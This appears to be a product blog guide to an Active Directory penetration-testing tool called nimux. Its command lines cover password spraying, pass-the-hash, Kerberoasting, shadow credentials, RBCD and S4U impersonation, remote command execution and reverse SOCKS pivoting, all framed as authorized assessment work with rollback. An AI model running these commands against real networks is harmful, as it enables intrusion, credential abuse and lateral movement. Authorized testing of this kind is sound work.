Back to blog
Jul 19, 202634 min read

Mastering nimux

A practical long-form guide to mastering nimux across discovery, credential validation, Active Directory, Kerberos, remote execution, file movement, pivoting, MCP, and reporting.

GuideWorkflowKerberosPivoting

Overview

Mastering nimux is not about memorizing every flag. It is about understanding how the command surface fits together during an authorized assessment. The same binary can move from discovery to authentication checks, from SMB and LDAP enumeration to Kerberos ticket handling, from WinRM or service execution to file movement, from MSSQL validation to SOCKS pivoting, and from CLI output to MCP-assisted workflows.

The value is consistency. A strong operator can keep scope, evidence, cleanup, and command syntax in one workflow instead of constantly translating between different tools.

This guide uses neutral hostnames and accounts. Run these commands only on systems you own or are explicitly authorized to assess.

Build the operator model

Think of nimux in layers:

  • Discovery: identify reachable hosts and services.
  • Authentication validation: test known credentials safely.
  • Enumeration: collect SMB, LDAP, protocol, and service context.
  • Identity operations: Kerberos, ADCS, ACL, GPO, group, and account paths.
  • Execution: WinRM, WMI/CIM, SCM, helper service, scheduled task, DCOM, and MSSQL paths.
  • File movement: SMB primitives and shell-level transfer helpers.
  • Pivoting: SOCKS routes and --proxy.
  • Reporting: JSON output, logs, rollback records, and clear evidence.

A mature workflow moves through those layers deliberately. It avoids noisy actions before it has enough context, and it avoids leaving state behind after validation.

Start with precise discovery

Use scan to find where deeper protocol checks are worth the time.

nimux scan 10.10.10.0/24 --port 21,22,80,88,111,135,139,389,445,464,548,5900,5985,1433,3306,3389 --open

Use top ports when the target range is broad:

nimux scan 10.10.10.0/24 --top-ports 100 --open --json > scan.jsonl

Use UDP only when it is useful, because UDP can be slower and noisier:

nimux scan dc01.corp.local --udp --port 53,88,123,137,161,464

For RDP exposure, use the dedicated probe:

nimux rdp workstation01.corp.local --json

RDP probing gives negotiation, TLS certificate, and NTLM-info context. It is not an interactive RDP client.

Validate credentials without rushing

When credentials are in scope, start with low-impact checks. SMB share listing and WinRM whoami are usually enough to prove authentication without changing anything.

nimux smb dc01.corp.local -d corp.local -u operator -p '<password>' --shares
nimux winrm workstation01.corp.local -d corp.local -u operator -p '<password>' --cmd whoami

For NT hash validation:

nimux smb dc01.corp.local -d corp.local -u operator -H <nt_hash> --shares --users

For Kerberos-backed validation:

nimux winrm workstation01.corp.local -d corp.local -k --ccache operator.ccache --cmd whoami

If you are testing candidate passwords, read policy first:

nimux smb dc01.corp.local -d corp.local -u operator -p '<password>' --pass-pol

Then use conservative controls:

nimux smb @targets.txt -d corp.local \
  -u users.txt \
  -p '<candidate-password>' \
  --lockout-aware \
  --max-attempts-per-user 1 \
  --spray-delay 3000 \
  --json > spray.jsonl

--lockout-aware forces a conservative mode: serial execution and one attempt per user unless you explicitly set another limit.

Build the SMB picture

SMB gives practical context: shares, users, groups, sessions, logged-on users, disks, RID brute forcing, and file operations.

nimux smb fileserver01.corp.local -d corp.local -u operator -p '<password>' --shares
nimux smb dc01.corp.local -d corp.local -u operator -p '<password>' --users --groups --pass-pol
nimux smb fileserver01.corp.local -d corp.local -u operator -p '<password>' --sessions --loggedon-users --disks

When SAMR enumeration is limited, RID brute forcing can still identify principals:

nimux smb dc01.corp.local -d corp.local -u operator -H <nt_hash> --rid-brute 5000 --json

Use direct SMB file operations carefully:

nimux ls fileserver01.corp.local -d corp.local -u operator -p '<password>' --share Shared --remote Projects
nimux get fileserver01.corp.local -d corp.local -u operator -p '<password>' \
  --share Shared \
  --remote Projects\deploy.ps1 \
  --local ./evidence-deploy.ps1

For write validation:

nimux put fileserver01.corp.local -d corp.local -u operator -p '<password>' \
  --share Shared \
  --local ./marker.txt \
  --remote nimux-validation\marker.txt
nimux rm fileserver01.corp.local -d corp.local -u operator -p '<password>' \
  --share Shared \
  --remote nimux-validation\marker.txt

The goal is evidence, not bulk collection. List first, collect only what matters, and document why each file was accessed.

Use LDAP as the control plane

LDAP is where nimux becomes more than a network scanner. Use named queries for common questions:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query users
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query computers --query trusts --query gpos --query dcs
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query asreproast --query kerberoast

Use raw filters for focused review:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --filter '(adminCount=1)' \
  --attrs sAMAccountName,distinguishedName,userPrincipalName

Use graph output when a path needs relationship analysis:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --bloodhound \
  --bloodhound-out bloodhound-output

For DNS and certificate posture:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query dns --query certs
nimux ldap ca01.corp.local -d corp.local -u operator -p '<password>' --adcs

Read first. Write later, only with rollback.

Treat writes as controlled tests

LDAP writes can prove high-impact findings. They can also damage an environment if used casually. Use --dry-run where supported and always write rollback records for state changes.

Targeted Kerberoast setup:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --make-kerberoast \
  --user target.user \
  --spn HTTP/scoped-validation.corp.local \
  --dry-run \
  --rollback-out targeted-roast-rollback.jsonl

RBCD setup:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --set-rbcd \
  --from controlled-computer$ \
  --to target-server$ \
  --rollback-out rbcd-rollback.jsonl

Group membership:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --add-member \
  --group 'Scoped Operators' \
  --user test.user \
  --rollback-out group-rollback.jsonl

Shadow credentials:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --shadow-creds \
  --user target.account \
  --shadow-out target-shadow \
  --rollback-out shadow-rollback.jsonl

With --shadow-out, nimux writes certificate and key material and attempts PKINIT to produce a ccache when possible.

Master Kerberos cache discipline

Kerberos work becomes fragile when filenames and service names are vague. Use explicit cache names.

Request a TGT:

nimux kerberos dc01.corp.local -d corp.local -u operator -p '<password>' \
  --request kinit \
  --out operator.ccache

Describe or list a cache:

nimux kerberos dc01.corp.local --request describe --ccache operator.ccache

Request a service ticket:

nimux kerberos dc01.corp.local -d corp.local \
  --request getst \
  --ccache operator.ccache \
  --service cifs/fileserver01.corp.local \
  --out operator-cifs-fileserver01.ccache

Convert ticket formats when needed:

nimux kerberos dc01.corp.local --request ccache-to-kirbi \
  --ccache operator.ccache \
  --out operator.kirbi
nimux kerberos dc01.corp.local --request kirbi-to-ccache \
  --kirbi operator.kirbi \
  --out operator-imported.ccache

Request S4U output:

nimux kerberos dc01.corp.local -d corp.local \
  --request s4u \
  --ccache service-account.ccache \
  --user Administrator \
  --service cifs/server01.corp.local \
  --out administrator-cifs-server01.ccache

Validate the cache with the matching protocol:

nimux smb server01.corp.local -d corp.local -k \
  --ccache administrator-cifs-server01.ccache \
  --shares

Use execution modes deliberately

nimux supports several execution modes because Windows environments behave differently.

WinRM is usually the cleanest when available:

nimux winrm server01.corp.local -d corp.local -u operator -p '<password>' --cmd whoami

Interactive WinRM:

nimux winrm server01.corp.local -d corp.local -u operator -p '<password>' --shell

CIM/WMI:

nimux cim server01.corp.local -d corp.local -u operator -H <nt_hash> --cmd whoami

SCM:

nimux scm server01.corp.local -d corp.local -u Administrator -H <nt_hash> --cmd "dir C:\\"

Helper service mode:

nimux bin server01.corp.local -d corp.local -u Administrator -p '<password>' --cmd whoami

Scheduled task:

nimux task server01.corp.local -d corp.local -u Administrator -p '<password>' --cmd whoami

DCOM:

nimux mmc server01.corp.local -d corp.local -u Administrator -p '<password>' --cmd whoami

Pick the mode that fits the service exposure, account privileges, output needs, and rules of engagement.

Use MSSQL as a workflow, not just a query tool

MSSQL paths can expose identity context, linked servers, impersonation, and controlled command execution.

nimux mssql sql01.corp.local -d corp.local -u sql_operator -p '<password>' \
  --query 'SELECT @@version'

Audit risky capabilities:

nimux mssql sql01.corp.local -d corp.local -u sql_operator -p '<password>' \
  --enum-danger --enum-impersonate

Use SQL CLI mode for exploration:

nimux mssql sql01.corp.local -d corp.local -u sql_operator -p '<password>' --cli

Useful CLI helpers include:

whoami
serverinfo
databases
use application
tables
links
impersonate app_admin
revert
exit

Use --cmd, --ole, --clr, and linked-server execution only when command execution is explicitly in scope.

Pivot with SOCKS and keep routing visible

SOCKS pivoting is most useful when a host can reach an internal network your operator system cannot reach directly.

Reverse mode:

nimux socks 192.168.1.103 -u administrator -p '<password>' \
  --reverse \
  --listener 192.168.1.104 \
  --socks-port 1088 \
  --control-port 1081

Route follow-up commands through the pivot:

nimux ldap dc04.internal.local -d internal.local -u operator -p '<password>' \
  --proxy socks5://127.0.0.1:1088 \
  --query computers
nimux smb fileserver.internal.local -d internal.local -u operator -p '<password>' \
  --proxy socks5://127.0.0.1:1088 \
  --shares

Clean up using the kill command printed by nimux after deployment:

nimux socks 192.168.1.103 [auth] --kill --pid <pid> --socks-remote '<remote-helper-path>'

The route is part of the evidence. Record local SOCKS port, control port, remote helper path, PID, and cleanup result.

Use MCP without giving up control

The MCP wrapper is useful when an AI client should call structured nimux tools instead of inventing shell commands. Keep the same discipline:

  • Prefer read-only enumeration first.
  • Require approval for remote execution and writes.
  • Use redaction for secrets.
  • Keep policy files under version control.
  • Keep the raw nimux CLI available for direct validation.

Typical MCP client config points to nimux_mcp:

{
  "mcpServers": {
    "nimux": {
      "command": "/usr/local/bin/nimux_mcp",
      "args": []
    }
  }
}

MCP should make workflows clearer, not more automatic than the engagement allows.

Report with evidence and rollback

Good nimux reporting answers these questions:

  • What command was run?
  • What account and authentication mode were used?
  • What host and protocol were touched?
  • Was the action read-only or state-changing?
  • What output proves the finding?
  • Was sensitive material redacted?
  • What cleanup or rollback was performed?

Use JSON where possible:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query trusts --json > trusts.jsonl

Use rollback records for changes:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --acl --add \
  --user target.user \
  --principal test.user \
  --rights ResetPassword \
  --rollback-out acl-rollback.jsonl

Final workflow

A clean full-path nimux workflow might look like this:

nimux scan 10.10.10.0/24 --port 88,135,139,389,445,464,5985,1433,3389 --open
nimux smb dc01.corp.local -d corp.local -u operator -p '<password>' --shares --users --pass-pol
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query trusts --query gpos --query constrained
nimux kerberos dc01.corp.local -d corp.local -u operator -p '<password>' --request kinit --out operator.ccache
nimux winrm workstation01.corp.local -d corp.local -k --ccache operator.ccache --cmd whoami
nimux mssql sql01.corp.local -d corp.local -u sql_operator -p '<password>' --enum-danger --enum-impersonate
nimux socks workstation01.corp.local -d corp.local -u operator -p '<password>' --reverse --listener 10.10.14.10 --socks-port 1088

That is the point of mastering nimux: keep the assessment path coherent from first contact to final proof, with commands that are readable, repeatable, and scoped.

Install nimuxView featuresOpen docs